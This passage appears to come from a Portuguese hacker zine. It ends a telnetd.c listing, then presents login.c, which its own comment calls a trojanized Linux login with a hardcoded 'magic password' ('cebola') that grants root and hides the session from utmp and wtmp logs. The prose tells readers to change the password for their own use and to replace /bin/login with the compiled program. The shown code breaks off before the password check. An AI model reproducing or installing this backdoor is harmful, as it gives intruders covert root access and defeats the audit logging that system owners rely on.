    if (his_state_is_will(TELOPT_TSPEED)) {
	while (sequenceIs(tspeedsubopt, baseline))
	    ttloop();
    }
    if (his_state_is_will(TELOPT_XDISPLOC)) {
	while (sequenceIs(xdisplocsubopt, baseline))
	    ttloop();
    }
    if (his_state_is_will(TELOPT_ENVIRON)) {
	while (sequenceIs(environsubopt, baseline))
	    ttloop();
    }
    if (his_state_is_will(TELOPT_TTYPE)) {
	char first[256], last[256];

	while (sequenceIs(ttypesubopt, baseline))
	    ttloop();

	/*
	 * If the other side has already disabled the option, then
	 * we have to just go with what we (might) have already gotten.
	 */
	if (his_state_is_will(TELOPT_TTYPE) && !terminaltypeok(terminaltype)) {
	    (void) strncpy(first, terminaltype, sizeof(first));
	    for(;;) {
		/*
		 * Save the unknown name, and request the next name.
		 */
		(void) strncpy(last, terminaltype, sizeof(last));
		_gettermname();
		if (terminaltypeok(terminaltype))
		    break;
		if ((strncmp(last, terminaltype, sizeof(last)) == 0) ||
		    his_state_is_wont(TELOPT_TTYPE)) {
		    /*
		     * We've hit the end.  If this is the same as
		     * the first name, just go with it.
		     */
		    if (strncmp(first, terminaltype, sizeof(first)) == 0)
			break;
		    /*
		     * Get the terminal name one more time, so that
		     * RFC1091 compliant telnets will cycle back to
		     * the start of the list.
		     */
		     _gettermname();
		    if (strncmp(first, terminaltype, sizeof(first)) != 0)
			(void) strncpy(terminaltype, first, sizeof(first));
		    break;
		}
	    }
	}
    }
    return(retval);
}  /* end of getterminaltype */

    void
_gettermname()
{
    /*
     * If the client turned off the option,
     * we can't send another request, so we
     * just return.
     */
    if (his_state_is_wont(TELOPT_TTYPE))
	return;
    settimer(baseline);
    bcopy(ttytype_sbbuf, nfrontp, sizeof ttytype_sbbuf);
    nfrontp += sizeof ttytype_sbbuf;
    while (sequenceIs(ttypesubopt, baseline))
	ttloop();
}

    int
terminaltypeok(s)
    char *s;
{
    char buf[2048];

    if (terminaltype == NULL)
	return(1);

    /*
     * tgetent() will return 1 if the type is known, and
     * 0 if it is not known.  If it returns -1, it couldn't
     * open the database.  But if we can't open the database,
     * it won't help to say we failed, because we won't be
     * able to verify anything else.  So, we treat -1 like 1.
     */
    if (tgetent(buf, s) == 0)
	return(0);
    return(1);
}

#ifndef	MAXHOSTNAMELEN
#define	MAXHOSTNAMELEN 64
#endif	/* MAXHOSTNAMELEN */

char host_name[MAXHOSTNAMELEN];
char remote_host_name[MAXHOSTNAMELEN];

#ifndef	convex
extern void telnet P((int, int));
#else
extern void telnet P((int, int, char *));
#endif

/*
 * Get a pty, scan input lines.
 */
doit(who)
	struct sockaddr_in *who;
{
	const char *host, *inet_ntoa();
	int t;
	struct hostent *hp;
	int level;
	char user_name[256];

	/*
	 * Find an available pty to use.
	 */
#ifndef	convex
	pty = getpty();
	if (pty < 0)
		fatal(net, "All network ports in use");
#else
	for (;;) {
		char *lp;
		extern char *line, *getpty();

		if ((lp = getpty()) == NULL)
			fatal(net, "Out of ptys");

		if ((pty = open(lp, 2)) >= 0) {
			strcpy(line,lp);
			line[5] = 't';
			break;
		}
	}
#endif

	/* get name of connected client */
	hp = gethostbyaddr((char *)&who->sin_addr, sizeof (struct in_addr),
		who->sin_family);
	if (hp)
		host = hp->h_name;
	else
		host = inet_ntoa(who->sin_addr);
	/*
	 * We must make a copy because Kerberos is probably going
	 * to also do a gethost* and overwrite the static data...
	 */
	strncpy(remote_host_name, host, sizeof(remote_host_name)-1);
	remote_host_name[sizeof(remote_host_name)-1] = 0;
	host = remote_host_name;

	{
		struct utsname utsname;
		struct hostent *hp;
		(void) gethostname(host_name, sizeof (host_name));
		if ((hp = gethostbyname(host_name)))
			strcpy(host_name, hp->h_name);
	}

#if	defined(AUTHENTICATE) || defined(ENCRYPT)
	auth_encrypt_init(host_name, host, "TELNETD", 1);
#endif

	init_env();
	/*
	 * get terminal type.
	 */
	*user_name = 0;
	level = getterminaltype(user_name);
	setenv("TERM", terminaltype ? terminaltype : "network", 1);

	/*
	 * Start up the login process on the slave side of the terminal
	 */
#ifndef	convex
 	startslave(host, level, user_name); 

	telnet(net, pty);  /* begin server processing */
#else
	telnet(net, pty, host);
#endif
	/*NOTREACHED*/
}  /* end of doit */

#if	defined(CRAY2) && defined(UNICOS5) && defined(UNICOS50)
	int
Xterm_output(ibufp, obuf, icountp, ocount)
	char **ibufp, *obuf;
	int *icountp, ocount;
{
	int ret;
	ret = term_output(*ibufp, obuf, *icountp, ocount);
	*ibufp += *icountp;
	*icountp = 0;
	return(ret);
}
#define	term_output	Xterm_output
#endif	/* defined(CRAY2) && defined(UNICOS5) && defined(UNICOS50) */

/*
 * Main loop.  Select from pty and network, and
 * hand data to telnet receiver finite state machine.
 */
	void
#ifndef	convex
telnet(f, p)
#else
telnet(f, p, host)
#endif
	int f, p;
#ifdef convex
	char *host;
#endif
{
	int on = 1;
#define	TABBUFSIZ	512
	char	defent[TABBUFSIZ];
	char	defstrs[TABBUFSIZ];
#undef	TABBUFSIZ
	char *HE;
	char *HN;
	char *IM;
	void netflush();

	/*
	 * Initialize the slc mapping table.
	 */
	get_slc_defaults();

	/*
	 * Do some tests where it is desireable to wait for a response.
	 * Rather than doing them slowly, one at a time, do them all
	 * at once.
	 */
	if (my_state_is_wont(TELOPT_SGA))
		send_will(TELOPT_SGA, 1);
	/*
	 * Is the client side a 4.2 (NOT 4.3) system?  We need to know this
	 * because 4.2 clients are unable to deal with TCP urgent data.
	 *
	 * To find out, we send out a "DO ECHO".  If the remote system
	 * answers "WILL ECHO" it is probably a 4.2 client, and we note
	 * that fact ("WILL ECHO" ==> that the client will echo what
	 * WE, the server, sends it; it does NOT mean that the client will
	 * echo the terminal input).
	 */
	send_do(TELOPT_ECHO, 1);

#ifdef	LINEMODE
	if (his_state_is_wont(TELOPT_LINEMODE)) {
		/* Query the peer for linemode support by trying to negotiate
		 * the linemode option.
		 */
		linemode = 0;
		editmode = 0;
		send_do(TELOPT_LINEMODE, 1);  /* send do linemode */
	}
#endif	/* LINEMODE */

	/*
	 * Send along a couple of other options that we wish to negotiate.
	 */
	send_do(TELOPT_NAWS, 1);
	send_will(TELOPT_STATUS, 1);
	flowmode = 1;  /* default flow control state */
	send_do(TELOPT_LFLOW, 1);

	/*
	 * Spin, waiting for a response from the DO ECHO.  However,
	 * some REALLY DUMB telnets out there might not respond
	 * to the DO ECHO.  So, we spin looking for NAWS, (most dumb
	 * telnets so far seem to respond with WONT for a DO that
	 * they don't understand...) because by the time we get the
	 * response, it will already have processed the DO ECHO.
	 * Kludge upon kludge.
	 */
	while (his_will_wont_is_changing(TELOPT_NAWS))
		ttloop();

	/*
	 * But...
	 * The client might have sent a WILL NAWS as part of its
	 * startup code; if so, we'll be here before we get the
	 * response to the DO ECHO.  We'll make the assumption
	 * that any implementation that understands about NAWS
	 * is a modern enough implementation that it will respond
	 * to our DO ECHO request; hence we'll do another spin
	 * waiting for the ECHO option to settle down, which is
	 * what we wanted to do in the first place...
	 */
	if (his_want_state_is_will(TELOPT_ECHO) &&
	    his_state_is_will(TELOPT_NAWS)) {
		while (his_will_wont_is_changing(TELOPT_ECHO))
			ttloop();
	}
	/*
	 * On the off chance that the telnet client is broken and does not
	 * respond to the DO ECHO we sent, (after all, we did send the
	 * DO NAWS negotiation after the DO ECHO, and we won't get here
	 * until a response to the DO NAWS comes back) simulate the
	 * receipt of a will echo.  This will also send a WONT ECHO
	 * to the client, since we assume that the client failed to
	 * respond because it believes that it is already in DO ECHO
	 * mode, which we do not want.
	 */
	if (his_want_state_is_will(TELOPT_ECHO)) {
		DIAG(TD_OPTIONS,
			{sprintf(nfrontp, "td: simulating recv\r\n");
			 nfrontp += strlen(nfrontp);});
		willoption(TELOPT_ECHO);
	}

	/*
	 * Finally, to clean things up, we turn on our echo.  This
	 * will break stupid 4.2 telnets out of local terminal echo.
	 */

	if (my_state_is_wont(TELOPT_ECHO))
		send_will(TELOPT_ECHO, 1);

	/*
	 * Turn on packet mode
	 */
	(void) ioctl(p, TIOCPKT, (char *)&on);
#if	defined(LINEMODE) && defined(KLUDGELINEMODE)
	/*
	 * Continuing line mode support.  If client does not support
	 * real linemode, attempt to negotiate kludge linemode by sending
	 * the do timing mark sequence.
	 */
	if (lmodetype < REAL_LINEMODE)
		send_do(TELOPT_TM, 1);
#endif	/* defined(LINEMODE) && defined(KLUDGELINEMODE) */

	/*
	 * Call telrcv() once to pick up anything received during
	 * terminal type negotiation, 4.2/4.3 determination, and
	 * linemode negotiation.
	 */
	telrcv();

	(void) ioctl(f, FIONBIO, (char *)&on);
	(void) ioctl(p, FIONBIO, (char *)&on);
#if	defined(CRAY2) && defined(UNICOS5)
	init_termdriver(f, p, interrupt, sendbrk);
#endif

#if	defined(SO_OOBINLINE)
	(void) setsockopt(net, SOL_SOCKET, SO_OOBINLINE, &on, sizeof on);
#endif	/* defined(SO_OOBINLINE) */

#ifdef	SIGTSTP
	(void) signal(SIGTSTP, SIG_IGN);
#endif
#ifdef	SIGTTOU
	/*
	 * Ignoring SIGTTOU keeps the kernel from blocking us
	 * in ttioct() in /sys/tty.c.
	 */
	(void) signal(SIGTTOU, SIG_IGN);
#endif

	(void) signal(SIGCHLD, cleanup);

#if	defined(CRAY2) && defined(UNICOS5)
	/*
	 * Cray-2 will send a signal when pty modes are changed by slave
	 * side.  Set up signal handler now.
	 */
	if ((int)signal(SIGUSR1, termstat) < 0)
		perror("signal");
	else if (ioctl(p, TCSIGME, (char *)SIGUSR1) < 0)
		perror("ioctl:TCSIGME");
	/*
	 * Make processing loop check terminal characteristics early on.
	 */
	termstat();
#endif

#ifdef  TIOCNOTTY
	{
		register int t;
		t = open(_PATH_TTY, O_RDWR);
		if (t >= 0) {
			(void) ioctl(t, TIOCNOTTY, (char *)0);
			(void) close(t);
		}
	}
#endif

#if	defined(CRAY) && defined(NEWINIT) && defined(TIOCSCTTY)
	(void) setsid();
	ioctl(p, TIOCSCTTY, 0);
#endif

	/*
	 * Show banner that getty never gave.
	 *
	 * We put the banner in the pty input buffer.  This way, it
	 * gets carriage return null processing, etc., just like all
	 * other pty --> client data.
	 */

#if	!defined(CRAY) || !defined(NEWINIT)
	if (getenv("USER"))
		hostinfo = 0;
#endif

	if (getent(defent, "default") == 1) {
		char *getstr();
		char *cp=defstrs;

		HE = getstr("he", &cp);
		HN = getstr("hn", &cp);
		IM = getstr("im", &cp);
		if (HN && *HN)
			(void) strcpy(host_name, HN);
		if (IM == 0)
			IM = "";
	} else {
		IM = DEFAULT_IM;
		HE = 0;
	}
	edithost(HE, host_name);
	if (hostinfo && *IM)
		putf(IM, ptyibuf2);

	if (pcc)
		(void) strncat(ptyibuf2, ptyip, pcc+1);
	ptyip = ptyibuf2;
	pcc = strlen(ptyip);
#ifdef	LINEMODE
	/*
	 * Last check to make sure all our states are correct.
	 */
	init_termbuf();
	localstat();
#endif	/* LINEMODE */

	DIAG(TD_REPORT,
		{sprintf(nfrontp, "td: Entering processing loop\r\n");
		 nfrontp += strlen(nfrontp);});

#ifdef	convex
	startslave(host);
#endif

	for (;;) {
		fd_set ibits, obits, xbits;
		register int c;

		if (ncc < 0 && pcc < 0)
			break;

#if	defined(CRAY2) && defined(UNICOS5)
		if (needtermstat)
			_termstat();
#endif	/* defined(CRAY2) && defined(UNICOS5) */
		FD_ZERO(&ibits);
		FD_ZERO(&obits);
		FD_ZERO(&xbits);
		/*
		 * Never look for input if there's still
		 * stuff in the corresponding output buffer
		 */
		if (nfrontp - nbackp || pcc > 0) {
			FD_SET(f, &obits);
		} else {
			FD_SET(p, &ibits);
		}
		if (pfrontp - pbackp || ncc > 0) {
			FD_SET(p, &obits);
		} else {
			FD_SET(f, &ibits);
		}
		if (!SYNCHing) {
			FD_SET(f, &xbits);
		}
		if ((c = select(16, &ibits, &obits, &xbits,
						(struct timeval *)0)) < 1) {
			if (c == -1) {
				if (errno == EINTR) {
					continue;
				}
			}
			sleep(5);
			continue;
		}

		/*
		 * Any urgent data?
		 */
		if (FD_ISSET(net, &xbits)) {
		    SYNCHing = 1;
		}

		/*
		 * Something to read from the network...
		 */
		if (FD_ISSET(net, &ibits)) {
#if	!defined(SO_OOBINLINE)
			/*
			 * In 4.2 (and 4.3 beta) systems, the
			 * OOB indication and data handling in the kernel
			 * is such that if two separate TCP Urgent requests
			 * come in, one byte of TCP data will be overlaid.
			 * This is fatal for Telnet, but we try to live
			 * with it.
			 *
			 * In addition, in 4.2 (and...), a special protocol
			 * is needed to pick up the TCP Urgent data in
			 * the correct sequence.
			 *
			 * What we do is:  if we think we are in urgent
			 * mode, we look to see if we are "at the mark".
			 * If we are, we do an OOB receive.  If we run
			 * this twice, we will do the OOB receive twice,
			 * but the second will fail, since the second
			 * time we were "at the mark", but there wasn't
			 * any data there (the kernel doesn't reset
			 * "at the mark" until we do a normal read).
			 * Once we've read the OOB data, we go ahead
			 * and do normal reads.
			 *
			 * There is also another problem, which is that
			 * since the OOB byte we read doesn't put us
			 * out of OOB state, and since that byte is most
			 * likely the TELNET DM (data mark), we would
			 * stay in the TELNET SYNCH (SYNCHing) state.
			 * So, clocks to the rescue.  If we've "just"
			 * received a DM, then we test for the
			 * presence of OOB data when the receive OOB
			 * fails (and AFTER we did the normal mode read
			 * to clear "at the mark").
			 */
		    if (SYNCHing) {
			int atmark;

			(void) ioctl(net, SIOCATMARK, (char *)&atmark);
			if (atmark) {
			    ncc = recv(net, netibuf, sizeof (netibuf), MSG_OOB);
			    if ((ncc == -1) && (errno == EINVAL)) {
				ncc = read(net, netibuf, sizeof (netibuf));
				if (sequenceIs(didnetreceive, gotDM)) {
				    SYNCHing = stilloob(net);
				}
			    }
			} else {
			    ncc = read(net, netibuf, sizeof (netibuf));
			}
		    } else {
			ncc = read(net, netibuf, sizeof (netibuf));
		    }
		    settimer(didnetreceive);
#else	/* !defined(SO_OOBINLINE)) */
		    ncc = read(net, netibuf, sizeof (netibuf));
#endif	/* !defined(SO_OOBINLINE)) */
		    if (ncc < 0 && errno == EWOULDBLOCK)
			ncc = 0;
		    else {
			if (ncc <= 0) {
			    break;
			}
			netip = netibuf;
		    }
		    DIAG((TD_REPORT | TD_NETDATA),
			    {sprintf(nfrontp, "td: netread %d chars\r\n", ncc);
			     nfrontp += strlen(nfrontp);});
		    DIAG(TD_NETDATA, printdata("nd", netip, ncc));
		}

		/*
		 * Something to read from the pty...
		 */
		if (FD_ISSET(p, &ibits)) {
			pcc = read(p, ptyibuf, BUFSIZ);
			/*
			 * On some systems, if we try to read something
			 * off the master side before the slave side is
			 * opened, we get EIO.
			 */
			if (pcc < 0 && (errno == EWOULDBLOCK || errno == EIO)) {
				pcc = 0;
			} else {
				if (pcc <= 0)
					break;
#if	!defined(CRAY2) || !defined(UNICOS5)
#ifdef	LINEMODE
				/*
				 * If ioctl from pty, pass it through net
				 */
				if (ptyibuf[0] & TIOCPKT_IOCTL) {
					copy_termbuf(ptyibuf+1, pcc-1);
					localstat();
					pcc = 1;
				}
#endif	/* LINEMODE */
				if (ptyibuf[0] & TIOCPKT_FLUSHWRITE) {
					netclear();	/* clear buffer back */
#ifndef	NO_URGENT
					/*
					 * There are client telnets on some
					 * operating systems get screwed up
					 * royally if we send them urgent
					 * mode data.
					 */
					*nfrontp++ = IAC;
					*nfrontp++ = DM;
					neturg = nfrontp-1; /* off by one XXX */
#endif
				}
				if (his_state_is_will(TELOPT_LFLOW) &&
				    (ptyibuf[0] &
				     (TIOCPKT_NOSTOP|TIOCPKT_DOSTOP))) {
					(void) sprintf(nfrontp, "%c%c%c%c%c%c",
					    IAC, SB, TELOPT_LFLOW,
					    ptyibuf[0] & TIOCPKT_DOSTOP ? 1 : 0,
					    IAC, SE);
					nfrontp += 6;
				}
				pcc--;
				ptyip = ptyibuf+1;
#else	/* defined(CRAY2) && defined(UNICOS5) */
				if (!uselinemode) {
					unpcc = pcc;
					unptyip = ptyibuf;
					pcc = term_output(&unptyip, ptyibuf2,
								&unpcc, BUFSIZ);
					ptyip = ptyibuf2;
				} else
					ptyip = ptyibuf;
#endif	/* defined(CRAY2) && defined(UNICOS5) */
			}
		}

		while (pcc > 0) {
			if ((&netobuf[BUFSIZ] - nfrontp) < 2)
				break;
			c = *ptyip++ & 0377, pcc--;
			if (c == IAC)
				*nfrontp++ = c;
#if	defined(CRAY2) && defined(UNICOS5)
			else if (c == '\n' &&
				     my_state_is_wont(TELOPT_BINARY) && newmap)
				*nfrontp++ = '\r';
#endif	/* defined(CRAY2) && defined(UNICOS5) */
			*nfrontp++ = c;
			if ((c == '\r'  ) && (my_state_is_wont(TELOPT_BINARY))) {
				if (pcc > 0 && ((*ptyip & 0377) == '\n')) {
					*nfrontp++ = *ptyip++ & 0377;
					pcc--;
				} else
					*nfrontp++ = '\0';
			}
		}
#if	defined(CRAY2) && defined(UNICOS5)
		/*
		 * If chars were left over from the terminal driver,
		 * note their existence.
		 */
		if (!uselinemode && unpcc) {
			pcc = unpcc;
			unpcc = 0;
			ptyip = unptyip;
		}
#endif	/* defined(CRAY2) && defined(UNICOS5) */

		if (FD_ISSET(f, &obits) && (nfrontp - nbackp) > 0)
			netflush();
		if (ncc > 0)
			telrcv();
		if (FD_ISSET(p, &obits) && (pfrontp - pbackp) > 0)
			ptyflush();
	}
	cleanup(0);
}  /* end of telnet */
	
#ifndef	TCSIG
# ifdef	TIOCSIG
#  define TCSIG TIOCSIG
# endif
#endif

/*
 * Send interrupt to process on other side of pty.
 * If it is in raw mode, just write NULL;
 * otherwise, write intr char.
 */
	void
interrupt()
{
	ptyflush();	/* half-hearted */

#ifdef	TCSIG
	(void) ioctl(pty, TCSIG, (char *)SIGINT);
#else	/* TCSIG */
	init_termbuf();
	*pfrontp++ = slctab[SLC_IP].sptr ?
			(unsigned char)*slctab[SLC_IP].sptr : '\177';
#endif	/* TCSIG */
}

/*
 * Send quit to process on other side of pty.
 * If it is in raw mode, just write NULL;
 * otherwise, write quit char.
 */
	void
sendbrk()
{
	ptyflush();	/* half-hearted */
#ifdef	TCSIG
	(void) ioctl(pty, TCSIG, (char *)SIGQUIT);
#else	/* TCSIG */
	init_termbuf();
	*pfrontp++ = slctab[SLC_ABORT].sptr ?
			(unsigned char)*slctab[SLC_ABORT].sptr : '\034';
#endif	/* TCSIG */
}

	void
sendsusp()
{
#ifdef	SIGTSTP
	ptyflush();	/* half-hearted */
# ifdef	TCSIG
	(void) ioctl(pty, TCSIG, (char *)SIGTSTP);
# else	/* TCSIG */
	*pfrontp++ = slctab[SLC_SUSP].sptr ?
			(unsigned char)*slctab[SLC_SUSP].sptr : '\032';
# endif	/* TCSIG */
#endif	/* SIGTSTP */
}

/*
 * When we get an AYT, if ^T is enabled, use that.  Otherwise,
 * just send back "[Yes]".
 */
	void
recv_ayt()
{
#if	defined(SIGINFO) && defined(TCSIG)
	if (slctab[SLC_AYT].sptr && *slctab[SLC_AYT].sptr != _POSIX_VDISABLE) {
		(void) ioctl(pty, TCSIG, (char *)SIGINFO);
		return;
	}
#endif
	sprintf(nfrontp, "\r\n[%s : yes]\r\n",host_name);
	nfrontp += strlen(nfrontp);
}

	void
doeof()
{
	init_termbuf();

#if	defined(LINEMODE) && defined(USE_TERMIO) && (VEOF == VMIN)
	if (!tty_isediting()) {
		extern char oldeofc;
		*pfrontp++ = oldeofc;
		return;
	}
#endif
	*pfrontp++ = slctab[SLC_EOF].sptr ?
			(unsigned char)*slctab[SLC_EOF].sptr : '\004';
}
=============================== telnetd.c(EOF) ===============================


	Um outro tipo de Daemon's backdoor sao as backdoors do daemon login.
Elas sao muitas, mas todas fazem a mesma coisa: substituem o daemon login
que e' rodado quando alguem tenta logar no sistema e produz aquela famosa tela:

Welcome to linux [kernel]

system login: xxxxx
Password:

	O que a backdoor faz e' liberar o acesso como root a quem tente
acessar com uma senha pre-definida, exatamente como a backdoor do in.telnetd.
A diferenca e' que essa funciona para qualquer login e nao somente para porta
23(telnet). Foi tirada tambem da rootshell. Precisa de um file chamado
pathnames.h para compilar. Entao se tiverem problemas para compilar, peguem o
pacote inteiro na rootshell.
	O password usado para liberar o acesso ao root(a backdoor) esta na
constante BACKDOOR definida nas primeiras linhas(onde esta escrito cebola).
Altere como quiser para seu uso proprio. Depois de compilar, substitua o
file /bin/login do sistema com a backdoor e pronto.

================================ login.c =================================
/*
This is a simple trojanized login program, this was designed for Linux
and will not work without modification on linux. It lets you login as
either a root user, or any ordinary user by use of a 'magic password'.
It will also prevent the login from being logged into utmp, wtmp, etc.
You will effectively be invisible, and not be detected except via 'ps'.
dede
*/

#define BACKDOOR                    "cebola"
int     krad=0;



/* This program is derived from 4.3 BSD software and is
   subject to the copyright notice below.

   The port to HP-UX has been motivated by the incapability
   of 'rlogin'/'rlogind' as per HP-UX 6.5 (and 7.0) to transfer window sizes.

   Changes:

   - General HP-UX portation. Use of facilities not available
     in HP-UX (e.g. setpriority) has been eliminated.
     Utmp/wtmp handling has been ported.

   - The program uses BSD command line options to be used
     in connection with e.g. 'rlogind' i.e. 'new login'.

   - HP features left out:          logging of bad login attempts in /etc/btmp,
                                    they are sent to syslog

                                    password expiry

                                    '*' as login shell, add it if you need it

   - BSD features left out:         quota checks
                                    password expiry
                                    analysis of terminal type (tset feature)

   - BSD features thrown in:        Security logging to syslogd.
                                    This requires you to have a (ported) syslog
                                    system -- 7.0 comes with syslog
                                
                                    'Lastlog' feature.

   - A lot of nitty gritty details has been adjusted in favour of
     HP-UX, e.g. /etc/securetty, default paths and the environment
     variables assigned by 'login'.

   - We do *nothing* to setup/alter tty state, under HP-UX this is
     to be done by getty/rlogind/telnetd/some one else.

   Michael Glad (glad@daimi.dk)
   Computer Science Department
   Aarhus University
   Denmark

   1990-07-04

   1991-09-24 glad@daimi.aau.dk: HP-UX 8.0 port:
              - now explictly sets non-blocking mode on descriptors
              - strcasecmp is now part of HP-UX
   1992-02-05 poe@daimi.aau.dk: Ported the stuff to Linux 0.12
   From 1992 till now (1995) this code for Linux has been maintained at
   ftp.daimi.aau.dk:/pub/linux/poe/
*/

/*
 * Copyright (c) 1980, 1987, 1988 The Regents of the University of California.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms are permitted
 * provided that the above copyright notice and this paragraph are
 * duplicated in all such forms and that any documentation,
 * advertising materials, and other materials related to such
 * distribution and use acknowledge that the software was developed
 * by the University of California, Berkeley.  The name of the
 * University may not be used to endorse or promote products derived
 * from this software without specific prior written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
 * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 */

#ifndef lint
char copyright[] =
"@(#) Copyright (c) 1980, 1987, 1988 The Regents of the University of Californi
a.\n\
 All rights reserved.\n";
#endif /* not lint */

#ifndef lint
static char sccsid[] = "@(#)login.c     5.40 (Berkeley) 5/9/89";
#endif /* not lint */

/*
 * login [ name ]
 * login -h hostname    (for telnetd, etc.)
 * login -f name        (for pre-authenticated login: datakit, xterm, etc.)
 */

/* #define TESTING */

#ifdef TESTING
#include "param.h"
#else
#include <sys/param.h>
#endif

#include <ctype.h>
#include <unistd.h>
#include <getopt.h>
#include <memory.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/file.h>
#include <termios.h>
#include <string.h>
#define index strchr
#define rindex strrchr
#include <sys/ioctl.h>
#include <signal.h>
#include <errno.h>
#include <grp.h>
#include <pwd.h>
#include <setjmp.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/syslog.h>
#include <sys/sysmacros.h>
#include <netdb.h>

#ifdef TESTING
#  include "utmp.h"
#else
#  include <utmp.h>
#endif

#ifdef SHADOW_PWD
#include <shadow.h>
#endif

#ifndef linux
#include <tzfile.h>
#include <lastlog.h>
#else
struct  lastlog
  { long ll_time;
    char ll_line[12];
    char ll_host[16];
  };
#endif

#include "pathnames.h"

#define P_(s) ()
void opentty P_((const char *tty));
void getloginname P_((void));
void timedout P_((void));
int rootterm P_((char *ttyn));
void motd P_((void));
void sigint P_((void));
void checknologin P_((void));
void dolastlog P_((int quiet));
void badlogin P_((char *name));
char *stypeof P_((char *ttyid));
void checktty P_((char *user, char *tty));
void getstr P_((char *buf, int cnt, char *err));
void sleepexit P_((int eval));
#undef P_

#ifdef  KERBEROS
#include <kerberos/krb.h>
#include <sys/termios.h>
char    realm[REALM_SZ];
int     kerror = KSUCCESS, notickets = 1;
#endif

#ifndef linux
#define TTYGRPNAME      "tty"           /* name of group to own ttys */
#else
#  define TTYGRPNAME      "other"
#  ifndef MAXPATHLEN
#    define MAXPATHLEN 1024
#  endif
#endif

/*
 * This bounds the time given to login.  Not a define so it can
 * be patched on machines where it's too small.
 */
#ifndef linux
int     timeout = 300;
#else
int     timeout = 60;
#endif

struct  passwd *pwd;
int     failures;
char    term[64], *hostname, *username, *tty;

char    thishost[100];

#ifndef linux
struct  sgttyb sgttyb;
struct  tchars tc = {
        CINTR, CQUIT, CSTART, CSTOP, CEOT, CBRK
};
struct  ltchars ltc = {
        CSUSP, CDSUSP, CRPRNT, CFLUSH, CWERASE, CLNEXT
};
#endif

char *months[] =
        { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug",
          "Sep", "Oct", "Nov", "Dec" };

/* provided by Linus Torvalds 16-Feb-93 */
void
opentty(const char * tty)
{
    int i;
    int fd = open(tty, O_RDWR);

    for (i = 0 ; i < fd ; i++)
      close(i);
    for (i = 0 ; i < 3 ; i++)
      dup2(fd, i);
    if (fd >= 3)
      close(fd);
}

int
main(argc, argv)
        int argc;
        char **argv;
{
        extern int errno, optind;
        extern char *optarg, **environ;
        struct timeval tp;
        struct tm *ttp;
        struct group *gr;
        register int ch;
        register char *p;
        int ask, fflag, hflag, pflag, cnt;
        int quietlog, passwd_req, ioctlval;
        char *domain, *salt, *ttyn, *pp;
        char tbuf[MAXPATHLEN + 2], tname[sizeof(_PATH_TTY) + 10];
        char *ctime(), *ttyname(), *stypeof();
        time_t time();
        void timedout();
        char *termenv;

#ifdef linux
        char tmp[100];
        /* Just as arbitrary as mountain time: */
        /* (void)setenv("TZ", "MET-1DST",0); */
#endif

        (void)signal(SIGALRM, timedout);
        (void)alarm((unsigned int)timeout);
        (void)signal(SIGQUIT, SIG_IGN);
        (void)signal(SIGINT, SIG_IGN);

        (void)setpriority(PRIO_PROCESS, 0, 0);
#ifdef HAVE_QUOTA
        (void)quota(Q_SETUID, 0, 0, 0);
#endif

        /*
         * -p is used by getty to tell login not to destroy the environment
         * -f is used to skip a second login authentication
         * -h is used by other servers to pass the name of the remote
         *    host to login so that it may be placed in utmp and wtmp
         */
        (void)gethostname(tbuf, sizeof(tbuf));
        (void)strncpy(thishost, tbuf, sizeof(thishost)-1);
        domain = index(tbuf, '.');

        fflag = hflag = pflag = 0;
        passwd_req = 1;
        while ((ch = getopt(argc, argv, "fh:p")) != EOF)
                switch (ch) {
                case 'f':
                        fflag = 1;
                        break;

                case 'h':
                        if (getuid()) {
                                (void)fprintf(stderr,
                                    "login: -h for super-user only.\n");
                                exit(1);
                        }
                        hflag = 1;
                        if (domain && (p = index(optarg, '.')) &&
                            strcasecmp(p, domain) == 0)
                                *p = 0;
                        hostname = optarg;
                        break;

                case 'p':
                        pflag = 1;
                        break;
                case '?':
                default:
                        (void)fprintf(stderr,
                            "usage: login [-fp] [username]\n");
                        exit(1);
                }
        argc -= optind;
        argv += optind;
        if (*argv) {
                username = *argv;
                ask = 0;
        } else
                ask = 1;

#ifndef linux
        ioctlval = 0;
        (void)ioctl(0, TIOCLSET, &ioctlval);
        (void)ioctl(0, TIOCNXCL, 0);
        (void)fcntl(0, F_SETFL, ioctlval);
        (void)ioctl(0, TIOCGETP, &sgttyb);
        sgttyb.sg_erase = CERASE;
        sgttyb.sg_kill = CKILL;
        (void)ioctl(0, TIOCSLTC, &ltc);
        (void)ioctl(0, TIOCSETC, &tc);
        (void)ioctl(0, TIOCSETP, &sgttyb);

        /*
         * Be sure that we're in
         * blocking mode!!!
         * This is really for HPUX
         */
        ioctlval = 0;
        (void)ioctl(0, FIOSNBIO, &ioctlval);
#endif

        for (cnt = getdtablesize(); cnt > 2; cnt--)
                close(cnt);

        ttyn = ttyname(0);
        if (ttyn == NULL || *ttyn == '\0') {
                (void)sprintf(tname, "%s??", _PATH_TTY);
                ttyn = tname;
        }

        setpgrp();

        {
            struct termios tt, ttt;

            tcgetattr(0, &tt);
            ttt = tt;
            ttt.c_cflag &= ~HUPCL;

            if((chown(ttyn, 0, 0) == 0) && (chmod(ttyn, 0622) == 0)) {
                tcsetattr(0,TCSAFLUSH,&ttt);
                signal(SIGHUP, SIG_IGN); /* so vhangup() wont kill us */
                vhangup();
                signal(SIGHUP, SIG_DFL);
            }

            setsid();

            /* re-open stdin,stdout,stderr after vhangup() closed them */
            /* if it did, after 0.99.5 it doesn't! */
            opentty(ttyn);
            tcsetattr(0,TCSAFLUSH,&tt);
        }

        if (tty = rindex(ttyn, '/'))
                ++tty;
        else
                tty = ttyn;

        openlog("login", LOG_ODELAY, LOG_AUTH);

        for (cnt = 0;; ask = 1) {
                ioctlval = 0;
#ifndef linux
                (void)ioctl(0, TIOCSETD, &ioctlval);
#endif

                if (ask) {
                        fflag = 0;
                        getloginname();
                }

                checktty(username, tty);

                (void)strcpy(tbuf, username);
                if (pwd = getpwnam(username))
                        salt = pwd->pw_passwd;
                else
                        salt = "xx";

                /* if user not super-user, check for disabled logins */
                if (pwd == NULL || pwd->pw_uid)
                        checknologin();

                /*
                 * Disallow automatic login to root; if not invoked by
                 * root, disallow if the uid's differ.
                 */
                if (fflag && pwd) {
                        int uid = getuid();

